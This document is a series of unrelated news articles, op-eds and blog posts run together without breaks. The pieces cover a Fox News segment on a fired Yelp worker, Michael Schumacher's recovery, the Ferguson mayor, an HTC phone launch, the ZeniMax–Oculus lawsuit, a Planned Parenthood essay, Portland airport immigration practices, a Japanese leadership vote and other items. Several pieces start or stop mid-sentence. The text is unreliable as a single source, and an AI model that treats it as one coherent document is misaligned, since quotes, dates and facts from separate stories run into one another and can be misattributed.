“I mean, the whole thing kind of sounded Dickens-esque, like I am so poor, oh, my God, I’m so poor,” Williams opined. “But when I got to the end and I realized she had included a link to her Venmo account and a PayPal account asking for people to help her to pay rent because she had gotten fired, I just sat there and was like, you have got to be kidding me that this girl is legitimately asking people to pay her rent for her in San Francisco.”
“You’re saying the problem isn’t with her former employer, Yelp, or the minimum wage that she was getting paid,” Smith pointed out. “You say it’s this girl’s delusion of what her life should be. Is there an understanding when kids are graduating from college right now that they’re entitled to a job, entitled to a nice apartment?”
Williams insisted that she was “for a minimum wage that is livable,” but asserted that Jane had chosen the wrong lifestyle.
“She didn’t have a second job. She didn’t have any supplemental income. And she willingly agreed to the salary they promised her,” Williams said. “Clearly, you knew what you were going to be getting paid. You made these financial decisions on your own and now you’re expecting the company to finance you not for the work you’re doing, but for the lifestyle you chose, the apartment you chose, the city you chose to live in, and only having one job.”
Watch the video below from Fox News’ Fox & Friends, broadcast Feb. 25, 2016.
(h/t: Media Matters)Michael Schumacher is "showing small signs of progress", with the Formula One legend slowly recovering from devastating brain injuries suffered in a ski accident.
"There are short moments of consciousness and he is showing small signs of progress," Schumacher's manager Sabine Kehm told German broadcaster ARD.
"There are moments when he is awake and moments when he is conscious.
"Of course I am not a doctor, but medically, there is a distinction between being awake and being conscious, the latter meaning there is an ability to interact with his surroundings.
"I don't want to disclose details out of respect for the family, but we have no doubt at all in the abilities of the doctors treating Michael, they are experts in their field."
Schumacher has been in a medically induced coma in Grenoble, France, since being badly injured in a ski accident on December 29 in the French resort of Meribel with his son and friends.
Ms Kehm said Schumacher's family have been touched by a deluge of tributes and support from fans of the racing driver, but constant media speculation, particularly in German newspapers, has caused the family some anguish.
"What upsets the family most is media quoting doctors who are not treating Michael and untruths are constructed from these," said Ms Kehm, who has been in Grenoble nearly every day since the accident.
"It has been a problem when outsiders comment and it means we have to set the record straight, even when we don't want to."
The 45-year-old Schumacher underwent two operations in the days after the accident to remove life-threatening blood clots before being placed into a coma.
The family announced at the end of January that drugs used to keep him in his deep sleep were being reduced with a view to bringing him back to consciousness.
In February, his friend and former Ferrari teammate Felipe Massa was quoted as saying that Schumacher seemed to respond to him during a visit.
"He is sleeping, he looks normal and he showed a few responses with his mouth," Massa told German tabloid Bild.
And last month, Schumacher's family said they were confident that the racing legend who defied death more than once on the track would pull through.
Schumacher survived a motorbike accident in Spain in 2009, during which he suffered head and neck injuries but was released from hospital after just five hours.
Ms Kehm once again asked that the privacy of Schumacher's wife Corinna and their two children be respected, while thanking well-wishers for their support.
"Support from fans and well-wishers means very much to the Schumachers," said Ms Kehm.
"We feel these people show genuine, affectionate interest and support."
Edited by Bonnie MalkinFerguson Mayor James Knowles (R) apologized on Thursday after CNN host Chris Cuomo called him out for repeatedly referring to slain teen Michael Brown’s body as an “it.”
In an interview on CNN, Knowles told Cuomo that he immediately began supporting counter-demonstrations as soon as protests broke out in Ferguson over the way that a white police officer gunned down Brown while he was unarmed.
“Right when this began, there were some people that thought, you know, we should go out there and counter-protest,” he explained. “The national media is saying that we’re this divided community. That we’re divided among socioeconomic lines, that we’re divided among racial lines. And so we wanted — everybody here wanted to make sure that people realized that we are not divided per se. We are united.”
Cuomo wondered if the police should have handle things better, like leaving Michael Brown’s body on the street for an extended period of time.
Knowles said that he wished the city could have handled things differently, but it was required to do certain things because of the investigation.
“If we hadn’t called St. Louis County police in from the start to do the investigation, which we did, we would have been criticized for covering up,” the mayor insisted. “We had to leave the crime scene — you know, for lack of a better term — intact.”
“The body was covered for a while, and so it wasn’t covered — it was uncovered for a while, and there was a lot of picture of that,” he continued. “But as soon as they got an ambulance there, they did cover it for a while. And then they put up the screens.”
“It was left out there for a while.”
“And when you say it, you mean he,” Cuomo interrupted.
“Yeah,” Knowles replied, seemingly reluctant to say Brown’s name. “I’m sorry. You’re right. The body. The gentleman.”
Watch the video below from CNN’s New Day, broadcast Aug. 21, 2014.The pANTemonium continues! Well, mostly. Action has been rather subdued the past few days. It’s harder to count the ants now, with all the tunnels and gel mountains on top, but it appears the remaining 34 are alive and well.
Ant Fact: Ants do not have lungs; oxygen enters through tiny holes all over the body and carbon dioxide leaves through those same holes.
Ants also don’t have blood vessels; their heart is a long tube that pumps colorless blood from the head back to the rear, and then back up to the head again.
Anyone who studies ants is considered a myrmecologist. Early myrmecologists considered ant society as the ideal form of society and sought to find solutions to human problems by studying them. If only we were as simple as ants…
Almost there little ants!
Ant Cam:Following France's 47-21 win over Japan in their first World Cup game last week, Lievremont was not exactly fulsome in the press about the performances of Dimitri Yachvili, Imanol Harinordoquy and Morgan Parra.
“I would have preferred it if Marc had kept the remarks in-house, that is how we do things at Biarritz,” said Yachvili, who finds himself on the bench.
“He should realise that part of his role is that of psychologist.”
Parra philosphoically remarked that, “we have grown used to his temperamentality” but Harinordoquy, who admitted that whether criticism he thoroughly deserved being criticised after a rare bad day at the office.
“I have had much worse criticism directed at me in the past and I deserved it,” said Harinordoquy.
France must focus on Canada, who achieved a hard-earned 25-20 win over Tonga in midweek.
“France are world-beaters on their day, but they also have bad days like in the Six Nations when they were rolled by Italy,” said their goal-kicking wing James Pritchard.
“This is big, we’ve drawn a line in the sand after our win against Tonga and we can’t go back from that performance.”
Team details
France D Traille; V Clerc, D Marty, M Mermoz, A Rougerie; F Trinh-Duc, M Parra; J-B Poux, W Servat, L Ducalcon, P Pape, R Milo-Chluski, F Ouedraogo, J Bonnaire, L Picamoles.
Replacements G Guirado, F Barcella, J Pierre, I Harinordoquy, D Yachvili, F Estebanez, M Medard.
Canada J Pritchard; C Hearn, DTH Van Der Merwe, R Smith, P Mackenzie; A Monro, E Fairhurst; H Buydens, P Riordan, J Marshall, J Sinclair, J Cudmore, A Kleeberger, C O’Toole, A Carpenter.
Replacements R Hamilton, S Franklin, T Hotson, N Dala, S White, N Hirayama, C Trainor.
Referee Craig Joubert (S Africa) Kick-off: 9.30amTAIPEI – Sept. 20, 2016 – HTC Corporation, a leading innovator in mobile and virtual reality
technology, today unveiled the HTC DesireTM 10 pro and the HTC Desire 10 lifestyle. Both
smartphones bring stunning design and flagship-level features to HTC’s widely praised Desire
family of smartphones. The Desire 10 pro delivers amazing high-resolution cameras on both
front and back, including a brand new Selfie Panorama mode that captures extreme wide-angle
pictures, and top-of-the-line features such as an ultra-fast fingerprint sensor. The HTC Desire 10
lifestyle brings the legendary HTC BoomSoundTM Hi-Fi Edition, made popular on the flagship
HTC 10, plus 24-bit Hi-Res audio that delivers powerful, crystal-clear audio performance on
both the external speakers and headphones.
Inspired by the Art Deco movement in art and design, the HTC Desire 10 captures the spirit of
luxury and modernism: bold, precise, geometric metallic lines – influenced by the same contours
as the world-renowned HTC 10 – framed by elegant colors and sophisticated materials in a
smartphone that inspires with alluring looks on the outside and powerful technology on the
inside. Just as Art Deco evolved the art world’s expectations of elegance and sophistication, the
HTC Desire 10 evolves what you can expect from an HTC Desire.
“HTC’s Desire line has always stood for fresh, youthful, and fashionable designs that are
focused on delivering a great experience,” said Chialin Chang, president of the Smartphone and
Connected Devices Business at HTC. “Today, our Desire line is about to make its biggest leap
since the original Desire. Inspired by many of the same innovations that have made the flagship
HTC 10 so popular, we’re bringing these innovations to the Desire 10, making it the most
brilliant Desire ever. With a brand new, modern luxurious design inspired by the HTC 10 and
pro-like cameras, and including features that outshine even some of the top flagship phones in
the industry, the HTC Desire 10 will have you rethinking what to expect from an HTC Desire.”
Bold and iconic new metallic contours
Both the HTC Desire 10 pro and HTC Desire 10 lifestyle share the same stunning look, made to
shine with a high-contrast metallic gold contour design that elegantly outlines and defines the
smartphone’s soft warm matte finish. This bold, polished outline distinctively wraps the edges of
the device, encasing the HTC Desire 10 pro’s 5.5” Full HD (1080p) display or the HTC Desire
10 lifestyle’s 5.5” HD (720p) screen, and contrasting with the eye-catching body in one of four
distinct color themes for both models: Stone Black, Polar White, Royal Blue and Valentine Lux1
.
Sitting on the back of the Desire 10 pro is an ultra-fast fingerprint sensor that brings
convenience to your fingertips: the fingerprint sensor helps secure your device, but quickly
unlocks at just the touch of your finger. The sensor recognizes your fingerprint from almost
every angle and position, and even lets you take selfies with it – simply put your finger on the
fingerprint sensor to quickly capture a selfie or start recording a selfie video.
Amazing imaging experience
The HTC Desire 10 pro promises one of the best camera experiences around by delivering
features normally reserved for flagship phones. Starting with a 20MP main camera, the Desire
10 pro provides extraordinary detail in every shot. Pro-like features are included, with DSLR-like
control over your photos and handy preset options such as sport mode and night mode that let
you quickly re-adjust the camera settings on the go. Advanced functions such as intelligent
Electronic Image Stabilization provide smooth videos even with shaky hands, and Auto HDR on
both the front and rear camera combines multiple images into a single, clear photo that looks
amazing even when taken in low light or shadows. And finally to keep with life’s quickest
moments, the laser autofocus makes taking clear, focused pictures a breeze and you never
miss your shot.
See your selfies in new ways
Desire 10 pro has been designed to give you the best possible selfie experience. Snap your
best selfies with the 13MP selfie camera, and if you need to capture even more in one single
view, Desire 10 pro features a brand new Selfie Panorama mode. With Selfie Panorama, you’ll
capture more scenery and more friends and family in single big, beautiful, printable photo. HTC
Desire 10 pro’s super-wide, 150° Selfie Panorama mode is enough to fit a whole football team
with room to spare. A built-in screen flash is also available, which can automatically help you
take brighter selfies in challenging light conditions day or night, indoors or outside.
Awesome, flagship-level sound
Fans of the world-famous HTC BoomSound Hi-Fi Edition in HTC 10 will love the HTC Desire 10
lifestyle. Featuring High-Res audio support, the HTC Desire 10 lifestyle plays your favorite
music, movies, and games with awesome, crystal-clear, high-resolution sound quality through
stereo external speakers or to your headphones with a powerful, built-in amplifier that has to be
heard to be believed. There is simply no better sounding smartphone in the world.
The HTC Desire 10 pro also includes the HTC BoomSound audio profile, giving you the intense
HTC BoomSound listening experience every time you put on your headphones. With thundering
bass and thrilling treble, both the HTC Desire 10 pro and HTC Desire 10 lifestyle will keep your
sound rocking with incredible intensity throughout the day.
As unique as you
The HTC Desire 10 pro and Desire 10 lifestyle share the same unparalleled personalization as
HTC 10. Built upon the latest version of HTC Sense, both HTC Desire 10 models are fully
customizable to your unique personality. HTC Freestyle Layout frees you from an onscreen grid
and lets you get creative. Drag icons, stickers and widgets anywhere. Layer them, overlap them,
group them and more. You can even link stickers to apps, and get rid of onscreen icons entirely.
The home screen is yours – use it your way.
Express yourself further with HTC Themes, giving you access to thousands of professional
looking themes, each with its own icons, background, sounds and more. From pets, wildlife and
architecture to sports, travel, and so much more, HTC Themes lets your HTC Desire 10 pro
represent your personality and interests so it’s truly one-of-a-kind – just like you.
Performance matters
The HTC Desire 10 pro gives you more space for the things that are important with up to a
massive 4GB of RAM and 64GB storage space.
The HTC Desire 10 lifestyle offers up to 3GB
of RAM and 32GB storage space, so no matter which model you choose, you can load up on
photos, videos, movies, games and more. And if that’s still not enough, both models offer SD
card support for up to 2TB of expandable memory.
Powering all these photos, games, and more is a blazing octa-core processor in HTC Desire 10
pro and a quad-core professor in Desire 10 lifestyle, keeping everything running smoothly. Even
at these speeds, battery is never an issue, either, with a 3,000mAh battery in Desire 10 pro and
2,700mAh battery in Desire 10 lifestyle to keep you snapping photos, surfing the web, and
having many hours of fun between charges.
The HTC Desire 10 lifestyle will begin capturing your life’s brilliance beginning the end of
September. The HTC Desire 10 pro will be available beginning in November. For more
information, please see htc.com.Story highlights Knives with blades longer than 5.5 inches are still restricted in certain places
Bill briefly stalled after stabbing incident at UT Austin
(CNN) Starting this fall, adults in Texas can openly carry knives with blades longer than 5.5 inches.
In fact, swords, spears, daggers, sabers, bowie knives and machetes are all perfectly fine to tote around. Pretty much anything you can whip out in a Dungeons and Dragons battle is fair game.
Texas Gov. Greg Abbott signed the bill into law last month, but it doesn't go into effect until September 1.
Under the existing law knives with blades longer than 5.5 inches could be purchased but not carried -- with only limited exceptions.
There are some places where the new law won't apply -- including schools, prisons, hospitals, amusement parks or places of worship. Long blades are still banned at sports events. And you can't bring your sword into a bar, either. The tiny colorful plastic ones that you stick on top of a cocktail, however, are under 5.5 inches, so those are still OK.theherocomplex:
There’s a really, really long list of reasons why, but the vast majority of it boils down to “this cishet white dude likes to make blanket statements about what feminism is, and it’s an extremely narrow version that primarily benefits him".
I’m choosing some of what are (in my opinion) his most egregious offenses – and boy howdy are there receipts.
There are so many other problems – I can’t find the links in my bookmarks, but he’s made transphobic comments in the past, so if anyone can help me back that up, I can add that as well!
The thing is, I really loved Buffy when I first watched it. A girl, kicking ass with her friends – many of whom were other girls – while dealing with all the bullshit I dealt with? I could get behind that. I can still get behind a lot of what went into Buffy.
But now, knowing what I do about the creator? I don’t think I’d be able to watch it again. I’ve got a lot of privilege to unpack, and will for the rest of my life, but I don’t want my feminism to be dictated to me by Joss Whedon and his penis. It will be intersectional or it will be bullshit.
If his work means a lot to you, then by all means, keep loving it – but it’s extremely important to be aware of what goes into creating it, and what motivates the person behind it.
(many thanks to pearwaldorf for having such a comprehensive tag for this stuff, which helped me fill in the gaps!)Racism was rife in those days. I can't remember a day that I wouldn't be jeered or mocked by some group of kids anytime I ventured into a public space. It made a child tough. In my case, not as tough as I should have been, given my sister, diminutive but ferocious, would take on the toughest lads and I would be left enthusiastically backing her up. My father was a rigid disciplinarian. I was beaten to a pulp by a school bully and returned home that afternoon in the hope I would get some sympathy from my parents. Instead my dad castigated me for not fighting back. I was instructed to return the next day to reciprocate. Australia has become multicultural and racism has certainly diminished over the last 50 years but it still disturbs me when I hear some of our politicians reassuring overseas governments that it doesn't exist at all. I have not experienced overt racism since returning 11 years ago from the USA, but one of my visiting Indian neurosurgeons was spat on by an adult male who drove past him as he waited at a traffic light. It is incorrect and naive to say that there is no anti-Arab or no anti-Indian sentiment, just ask someone of Middle Eastern |
tragedy, is that the UN Charter assigns responsibility for international peace and security to the 15-member UN Security Council. Five UNSC members — the primary victors from the death heaps of the Second World War — hold veto power over UNSC decisions. Britain, the United States and France are democracies, but Russia and China are not. They are police states.
Even though Russia has approved UNSC resolutions prohibiting the mass murder of civilians in Syria, for instance, Vladimir Putin has only turned around to join in the slaughter. Russian warplanes have killed at least 600 Syrian civilians since Putin’s bombs started falling in September.
Efforts to reform the UNSC — to break the minority veto power, and to make the council more effectively representative of the world’s peoples, among other things — have been ongoing since the early 1990s. If Prime Minister Trudeau would want Canada to make a genuine contribution to the UN, then whining about the absence of the Maple Leaf as a UNSC table ornament won’t do.
Canada should set its sights on reform, working with other democracies, most obviously India, on that agenda. If we really want to “punch above our weight,” we should start there, at the top.
Terry Glavin is a Victoria writer.In late December of 1994, an anti-choice extremist named John Salvi walked into the Planned Parenthood clinic on Commonwealth Avenue in Brookline, Massachusetts, and opened fire with a rifle. By the time he was done, there were seven bodies on the floor. Two were dead, and five were wounded. Among the dead was 38-year-old Lee Ann Nichols, who took ten bullets before she died to the sound of Salvi shouting, “This is what you get!”
Salvi ran to Norfolk, Virginia, where he shot up another Planned Parenthood clinic. No one was injured in that incident. He was arrested, tried and convicted for the murders of Lee Ann Nichols and Shannon Lowney. He was sentenced to two consecutive life terms, with 18-20 years added for assault. He served his time at MCI Cedar Junction in Walpole, Massachusetts, one of the darkest holes in all of North America, until November 29, 1996. Salvi’s body was found that day in his cell with a garbage bag tied around his head. The coroner ruled it a suicide.
Today, the Planned Parenthood clinic on Commonwealth Avenue is a fortress. There are no windows, and only one door. To enter, you must pass through a small lobby area and empty your pockets for the metal detector, precisely as if you were boarding an airplane. After that, you pass through a door and enter a small box about twice the size of an old phone booth. The door closes behind you, and you are faced with a huge reinforced metal door before you that can only be opened by one of the clinic employees on the inside, after they check you out through a small rectangular window. All the while, you are under the watchful eye of an armed guard, who has on his desk a dozen small monitors that carry feeds from cameras placed within and without. Nothing, but nothing, is left to chance. Not after Salvi.
I have passed through that door on several occasions, accompanying friends without health insurance seeking affordable OBGYN care. Why did my friends ask me to come? Because my friends were frightened, because like as not the door to the clinic was clotted with Jesus-shouters seeking to intimidate women from accessing the services they need. Sometimes they just stand there and drone, “Praise God … Praise God … Praise God.” Other times, however, they are far more aggressive.
One friend I escorted had a man charge at her shouting, “Don’t kill your baby!” while brandishing a Bible like a club. I yelled back, “She’s getting a pap smear, you stupid asshole!” which was true … but he kept roaring “Don’t kill your baby!” with his eyes bugging and his lips flecked with white spittle. My friend almost fled, but with my support, she was able to get inside safely, and the noise of his rage diminished to nothing with the slow closing of the door. It was good she made it inside; the doctor found pre-cancerous cells on her cervix and saved her life. She was one of two friends I walked in through the mayhem whose lives were saved by those doctors and nurses. They would not be here today, but for the Planned Parenthood clinic on Commonwealth Avenue.
There is a bright white line on the sidewalk demarcating by law where the protesters can and cannot be outside the clinic, but the span from the car across the sidewalk to that door is wider than the Mississippi River when the shouters find their bull-throated roar. They were disturbing enough. The shadow of John Salvi hangs long and low over that facility, however, and the most disturbing part of all was the tingle of fear upon entry, the idea that another Salvi might make it through that hard door and empty his clip in a fit of fury.
Welcome to the world of Planned Parenthood. The fact that it takes courage to dispense medical services, that it takes courage – Courage! – to avail yourself of those services under threat of assault or even death spits in the eye of the idea that this is a nation of freedom. Planned Parenthood provides basic, affordable OBGYN care, breast cancer exams and contraception for people not fortunate enough to have another option.
Planned Parenthood clinics also offer abortions. It’s the law, it’s a right. Does the so-called “pro-life” crowd recognize this in the context of Friday’s shooting in Colorado? Let’s see what Twitter has to say:
“No sympathy for any pregnant female who was injured in the Planned Parenthood shooting that was there to get an abortion. She deserved it.” – Ryan
“We should terminate the 500,000 female humans. They could have protected sex. But they’re too lazy & slutty.” – Tyranny Hunter
“Active Shooter Colorado Planned Parenthood. I would think this brave HERO is saving innocent Baby lives!” – David J. Goodwin
In counterpoint, I offer a few testimonials from friends who responded to a question I asked about the deaths at the Colorado Planned Parenthood clinic:
“I stand with them as they bravely provide affordable safe & legal health care in the face of violent threats to themselves & their families every day.” – K.
“I stand with PP because when I didn’t have a pot, or a window, I was able to go to them for much needed gynecological care and then pre-natal care. They are kind and caring not to mention they risk their lives on a daily basis giving women, and some men, reasonably priced healthcare.” – J.
“I used Planned Parenthood in my 20s so I would never need to have an abortion. I am grateful they were there for that reason! For that reason I stand with Planned Parenthood.” – L.
“I support Planned Parenthood because it helps many with medical care who could not otherwise afford it; because I am a woman; because half of the population is female; because it is a legally operating entity; and because supporting PP pushes back against those whose goal is to subjugate women.” – A.
The man with the gun who killed three people at a Planned Parenthood clinic in Colorado allegedly told the arresting officers “No more baby parts” when taken into custody, referencing a wildly discredited meme proffered by Fox News and other right-wing outlets. The rest of the “news” media has been very delicate in their reporting. They use the noun, “gunman,” and the adjective, “disgruntled,” while avoiding the more accurate term: “terrorist.”
This is the war on women, underscored. The bellowers who cluster outside these clinics are preventing women from getting checked for cervical cancer, for breast cancer, preventing them from getting birth control, basic OBGYN care and abortions. Why? They would rather see women dead than see them free, and some of them take up arms to reinforce the point.
I have passed through that steel door after elbowing through a crowd of Bibles accompanying friends into a place that saved their lives. Lives were lost – on Commonwealth Avenue, in Colorado Springs and many other places besides – to guarantee that possibility. Lives are risked every day to continue that promise. I stand with Planned Parenthood, shoulder to shoulder and back to back. It has saved more people than those sidewalk-bound nitwits have ever met.
On the lee of that door lies freedom. That it requires steel, fear and an armed guard is a disgrace beyond reckoning. I stand with Planned Parenthood. So should you.Update, February 24, 5:30 p.m.: ZeniMax Media has followed through on its promise to file an injunction against Oculus and Facebook. According to UploadVR, ZeniMax's injunction was filed on Thursday with the following recommendation:
The company proposed Oculus be "permanently enjoined, on a worldwide basis, from using... any of the Copyrighted Materials, including but not limited to (i) system software for Oculus PC (including the Oculus PC SDK); (ii) system software for Oculus Mobile (including the Oculus Mobile SDK); (iii) Oculus integration with the Epic Games Unreal Engine; and (iv) Oculus integration with the Unity Technologies Unity Game Engine."
Facebook offered a comment to UploadVR calling the filing "legally flawed and factually unwarranted," then confirmed its commitment to appealing the court's ruling from early February in favor of ZeniMax.
ZeniMax Media says it will consider "seeking an injunction to restrain Oculus and Facebook from their ongoing use of computer code that the jury found infringed ZeniMax's copyrights" following a $500 million verdict against Oculus and its executives in a recent federal civil suit.
The threat comes in a statement provided to Ars late yesterday, in which ZeniMax cites what it calls "uncontested" evidence of "the theft by John Carmack of Rage source code and thousands of electronic files on a USB storage device which contained ZeniMax VR technology."
Further in the statement, ZeniMax reiterated its argument that Carmack's work at ZeniMax represented a "breakthrough" in VR technology and that Oculus' Palmer Luckey "could not code the software that was the key to solving the issues of VR" on his own. ZeniMax also argues in its statement that Oculus "in writing acknowledged getting critical source code from ZeniMax" and that Oculus programmers "admitted cutting and pasting ZeniMax code into the Oculus SDK."
But Joshua Rich, a partner at IP law firm McDonnell Boehnen Hulbert & Berghoff LLP who's been following the case closely, tells Ars that "given the jury verdict, ZeniMax doesn't seem [to be] in the best position" to obtain an injunction to stop Oculus headset sales or force a settlement.
While the jury determined that Oculus broke an NDA regarding information shared by ZeniMax and made inappropriate use of certain pieces of copyrighted code and trademarked logos, it rejected the much stronger claim that Oculus had stolen "trade secrets" from ZeniMax. Rich isn't involved with either party in the case, but he sees this result as a kind of "split the baby" decision that puts out "a lot of smoke without any clear underlying fire."
"Had they prevailed on the trade secrets claim, [ZeniMax] would have been in an extremely strong position for an injunction," Rich said. "Here, I think it's a relatively weak argument."
The best ZeniMax can really hope for, according to Rich, is to force Oculus to replace any underlying code that is "overly similar" to the code Oculus CEO Palmer Luckey received under NDA. This would probably require using a new programming team in a "clean room" environment, with no access to or knowledge of the code Carmack created.
"While that may not be the easiest job for Oculus to do, it's certainly easier than being completely pulled off the market, which requires you to start the process over again," Rich said. It's also very different from the position Oculus would be in under a trade secrets violation, where the company would be "prohibited from having any access to the information at all, not just specific expression."
Despite ZeniMax's maximal claims in its press release, Rich notes that the jury did not find Carmack actually used any of the code he had downloaded from ZeniMax at Oculus. Additionally, the jury did not find him personally liable for destroying evidence or other damages in the case. If anything, Rich said, the copyright damages that were awarded to ZeniMax could be considered a little high and could come down on appeal.
"While we regret we had to litigate in order to vindicate our rights, it was necessary to take a stand against companies that engage in illegal activity in their desire to get control of new, valuable technology," ZeniMax writes. "We will consider what further steps we need to take to ensure there will be no ongoing use of our misappropriated technology..."For Portland, which prides itself on being one of the nation's more livable and culturally tolerant cities, the entire controversy is strange and wounding, and it could have severe economic consequences. A Port of Portland study said that losing the direct air link to Asia could cost the city as much as $900 million a year in lost trade and tourism. And even as the immigration agency has faced accusations of mistreatment or insensitivity in its dealings with foreigners at ports-of-entry around the country, the criticism here is particularly harsh, prompting officials to promise a complete review of the Portland office.
''We are absolutely committed to restoring public confidence in our operations at P.D.X.,'' said Virginia Kice, a spokeswoman for the agency's western division, using the three-letter airport code for Portland. ''We will not rest until the job is done.''
Inspectors at the Portland airport will be given additional training in ''cultural awareness and professional communications skills,'' Ms. Kice said, and the western regional director for the agency, Johnny Williams, traveled to Portland on Monday to meet with public officials and announce other procedures, including higher-level authorization for decisions to detain or search foreigners arriving at the airport, and a better system for translation.
Even as they acknowledged that Portland's deportation rates were demonstrably higher than those in Los Angeles, San Francisco and Seattle, immigration officials noted that the vast majority of foreigners were admitted into the country at any of those airports, and that rate differences between Portland and other West Coast airports had narrowed significantly in the past year.
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According to the immigration agency, from May through July of this year, Portland turned back 58 of 34,694 foreigners arriving here, meaning it admitted 99.83 percent of them. Seattle admitted all but 80 of 122,633 (99.94 percent), and Los Angeles admitted all but 752 of 1,236,679 (also 99.94 percent).
Moreover, officials said, there may be additional reasons that Portland has a higher rate of deportations. Because it has much smaller numbers of foreign travelers, they said, agents here may actually be able to do a better job of screening out counterfeit documents, and a higher percentage of people arriving here are workers, who are more likely than tourists to have problems proving they have the proper authorization to remain in the country.
None of that, however, seems to have quelled the public outrage here or the perception abroad that Portland is a bad place to enter the country. And the strip-search treatment of the Chinese businesswoman, which was first reported by The Oregonian, a daily newspaper here, was described as the ''last straw'' by Mike Thorne, the executive director of the Port of Portland.
The woman, Guo Liming, of Guangzhou, China, arrived here on an Aug. 19 flight. An agent, who has not been publicly identified by the immigration service, decided that her passport was suspicious because the laminate over the photograph was loose, indicating that the photograph could have been replaced.
Advertisement Continue reading the main story
The director of the office here, David Beebe, later told a reporter that the woman also ''fit the profile'' of an illegal immigrant because she was traveling with another person -- a man who turned out to be her fiance.
Ms. Guo was shortly removed to a room where she was ordered to strip down to her underwear, and was inspected by two female agents. She was then handcuffed and taken to Northern Oregon Regional Corrections Facility in The Dalles, Ore., 80 miles away, while the agency investigated whether her passport was bogus. Inspectors declined to tell her fiance, Hsieh Tsuhui, where she was, and he hired a Portland immigration lawyer to track her down.
After spending two nights in jail, Ms. Guo was told by the immigration service that her passport was indeed authentic, and they brought her back to the airport for a flight to New York. Mr. Beebe initially defended the agency's treatment of her, but after the Oregonian article about her ordeal set off a storm of outrage, he reviewed the incident, announced that agents had erred in their handling of her, and offered Ms. Guo an apology. Ms. Guo is traveling and could not be reached for an interview, said her Portland lawyer, Bao Lin Chen.
The incident was not an isolated one: the immigration service here has come under fire for jailings of other foreigners, including six Chinese teenagers seeking asylum. But Mr. Beebe has resisted calls from elected officials for his resignation, and the agency has not announced any disciplinary action against the agents who dealt with Ms. Guo. Mr. Beebe referred calls to the immigration service's regional office in Laguna Niguel, Calif. Mr. Williams, the director there, said it was too early to call for anyone's dismissal here. ''You would not jump to that kind of a decision without benefit of a full look at all the issues at hand,'' he said.Image caption Analysts had expected a tight contest between PM Naoto Kan (L) and Ichiro Ozawa (R)
Japanese Prime Minister Naoto Kan has survived a party leadership challenge from veteran MP Ichiro Ozawa.
Lawmakers and members of the governing Democratic Party of Japan (DPJ) elected to retain Mr Kan by a margin of 721 points to 491.
His victory means that Japan will be spared a sixth leadership change in four years.
Mr Kan, who took office in June, has said he wants to rein in spending and curb Japan's massive public debt.
As his victory was confirmed, the yen hit a new 15-year high against the dollar. The strong yen has hit Japanese exporters but Mr Kan has indicated that he is unlikely to intervene in the near future.
Party unity
Analysts had expected a tight contest, with Ichiro Ozawa backed by a large DPJ faction.
LEADERSHIP ELECTION Total of 1,222 points up for grabs
MPs' votes account for 822 points
Local lawmakers account for 100 points
Party members account for 300 points
In the end, Mr Kan secured a small majority among party lawmakers and was convincingly ahead in the vote from DPJ local lawmakers and party members.
His task now is to secure the support of Mr Ozawa's faction, as well as revitalising Japan's struggling economy.
Speaking after the vote, he appealed for party unity.
"Japan is currently in serious difficulty. We must rebuild Japan to make a healthy Japan again in order to hand it to the next generation, and I will stake my life to do the job and gain support from the people," he said.
Mr Kan has said that he wants to raise consumption tax, restrict government spending and cap borrowing.
He has also said he will honour a controversial deal with the US to relocate the unpopular Futenma US military base from central to northern Okinawa, although many details remain unconfirmed.
But he faces a struggle in parliament, because he does not have a majority in the upper house.
It is not clear what role Mr Ozawa - who is credited with positioning the DPJ for its unprecedented election victory last year - will now play in the party.
Some analysts have suggested he could break away from the DPJ and form his own party.So, a Canadian Christian jeweler custom-made a pair of engagement rings for a lesbian couple, Nicole White and Pam Renouf, at their request. Later, when they found out that the jeweler personally opposes same-sex marriage, they went to pieces and demanded their money back. From the CBC’s report:
“They were great to work with. They seemed to have no issues. They knew the two of us were a same-sex couple,” White said. “I referred some of my friends to them, just because I did get some good customer service and they had good prices.” That was before one friend went in to purchase a ring for his girlfriend — and instead found a distressing sign. It reads: “The sanctity of marriage is under attack. Let’s keep marriage between a man and a woman.”
The couple now believes the rings they ordered will have been tainted by having been fashioned by jeweler Esau Jardon’s hands, given what impure thoughts he holds in his mind. More:
Jardon said he won’t apologize for his beliefs. “I feel really bad that [White] feels that we would in any way try to hurt or discriminate against her, but we will not retract from what we believe. I cannot say, ‘Well because you feel bad, I will stop believing what I believe,'” he said. “When I walk on Church Street in Toronto, where I am right now, and I see [LGBT rainbow flags], and I see a lot of signs and a lot of things on public property, I don’t have a problem with them. I accept it. I chose to come to Canada… and we accept the whole package… I don’t discriminate against that, nor do I come and tell them to take them down. For the same reason, I ask to have the same respect in return, especially when it’s in my own business.”
But, after dealing with online bullying and threats, Jardon decided this week to refund the deposit to the couple:
“One of the reasons my family chose to move to Canada was the rights that it offered, the freedom of religion and freedom of speech, both of which at the time seemed to be very limited in Mexico,” he said. “However, due to posting our religious beliefs, many people in Newfoundland want us to shut down business — that’s what they’ve been telling us.” He said some threats came with names and others were anonymous. “One of them states that ‘you better give them the money back or you will be very, very sorry,’” he said.
Let’s understand what happened here. This Christian jeweler agreed to custom-make engagement rings for a lesbian couple, knowing that they were a couple, and treated them politely. But when they found out what he really believed about same-sex marriage, even though the man gave them polite service, and agreed to sell them what they asked for, the lesbian couple balked, and demanded their money back — and the mob threatened the business if they didn’t yield. Which, of course, he did.
You understand, of course, that this is not about getting equal treatment. The lesbian couple received that. This is about demonizing a point of view, and driving those who hold it out of the public square. Just so we’re clear about that.
I bought some olive oil not long ago at a tiny grocery store owned by an Arab Muslim immigrant. If I find out that the merchant supports ISIS, am I entitled to declare my jug of olive oil tainted, and demand a refund? Is a fundamentalist Christian permitted to send her osso buco back to the kitchen if she discovers that homosexual hands cooked it? Of course not. Some delicate snowflakes are more delicate than others.
I’m sorry that Esau Jardon gave in to this intimidation, but I suppose if you are a small businessman, you have no choice once the mob turns on you. It does indicate, though, the next phase in the March of Progress. You must not only bake the cake, or arrange the flowers, or make the ring, you must hold the correct opinion when you do it.The New York Times
December 12, 1964, page 1 Bazooka Fired at U.N. as Cuban Speaks Launched in Queens, Missile Explodes in East River By Homer Bigart
United Nations Headquarters was fired upon yesterday with a 3.5-inch bazooka from across the East River. The attack coincided with a demonstration by anti-Communist Cubans at the front entrance against the presence of Maj. Ernesto Che Guevara of Cuba.
A single shell from the bazooka, a portable rocket launcher used by the Army, arced across the river from Queens and fell harmlessly about 200 yards from the shore. The blast sent up a geyser of water and rattled windows in the headquarters just as Major Guevara, Havana's Minister of Industry, was denouncing the United States.
